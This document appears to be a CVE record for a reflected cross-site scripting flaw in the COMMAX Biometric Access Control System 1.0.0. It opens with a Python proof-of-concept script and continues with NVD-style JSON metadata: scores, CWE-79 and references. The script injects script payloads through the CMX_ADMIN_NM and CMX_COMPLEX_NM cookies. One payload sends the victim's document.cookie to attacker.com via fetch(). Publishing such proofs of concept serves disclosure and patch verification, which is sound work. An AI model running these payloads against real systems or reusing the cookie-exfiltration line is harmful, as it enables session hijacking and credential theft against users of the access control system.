CVE-2021-47743

import requests # CVE-2021-47743 PoC - COMMAX Biometric Access Control System XSS # Target: COMMAX Biometric Access Control System 1.0.0 # Vulnerability: Unauthenticated Reflected XSS via Cookie Parameters target_url = "http://target.com/cmx/login" # Malicious XSS payload in CMX_ADMIN_NM cookie xss_payload_admin = "<script>alert(document.cookie)</script>" # Malicious XSS payload in CMX_COMPLEX_NM cookie xss_payload_complex = "<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)></img>" headers = { 'Cookie': f'CMX_ADMIN_NM={xss_payload_admin}; CMX_COMPLEX_NM={xss_payload_complex}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.get(target_url, headers=headers, timeout=10) if xss_payload_admin in response.text or xss_payload_complex in response.text: print('[+] XSS Payload reflected in response - Vulnerability confirmed!') print(f'[+] Status Code: {response.status_code}') else: print('[-] Payload not reflected - May not be vulnerable') except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}')

{"cve": {"id": "CVE-2021-47743", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:42.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "COMMAX Biometric Access Control System 1.0.0 contains an unauthenticated reflected cross-site scripting vulnerability in cookie parameters 'CMX_ADMIN_NM' and 'CMX_COMPLEX_NM'. Attackers can inject malicious HTML and JavaScript code into these cookie values to execute arbitrary scripts in a victim's browser session."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2021080063", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/207578", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/163834", "source": "[email protected]"}, {"url": "https://www.commax.com/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/commax-biometric-access-control-system-reflected-xss-via-cookie-parameters", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5660.php", "source": "[email protected]"}]}}